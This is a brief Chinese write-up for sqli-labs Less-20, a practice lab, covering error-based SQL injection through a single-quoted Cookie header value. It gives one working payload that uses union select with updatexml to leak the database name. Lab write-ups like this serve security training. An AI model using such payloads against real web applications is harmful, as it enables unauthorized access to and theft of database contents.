sql-labs 20关

less-20——基于’的Cookie:报头文报错注入

注入语句：

uname=’ union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;